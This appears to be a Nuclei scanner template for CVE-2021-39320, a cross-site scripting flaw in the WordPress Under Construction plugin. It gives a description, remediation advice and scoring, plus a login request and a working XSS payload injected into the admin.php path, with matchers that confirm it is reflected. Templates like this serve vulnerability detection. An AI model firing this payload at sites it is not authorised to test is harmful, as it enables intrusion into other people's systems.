62 lines
1.9 KiB
YAML
62 lines
1.9 KiB
YAML
id: CVE-2021-39320
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info:
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name: WordPress Under Construction <1.19 - Cross-Site Scripting
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author: dhiyaneshDK
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severity: medium
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description: |
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WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
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remediation: |
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Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
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reference:
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- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
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- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-39320
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cwe-id: CWE-79
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epss-score: 0.0021
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epss-percentile: 0.58659
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cpe: cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: underconstruction_project
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product: underconstruction
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framework: wordpress
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tags: cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
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- 'under-construction'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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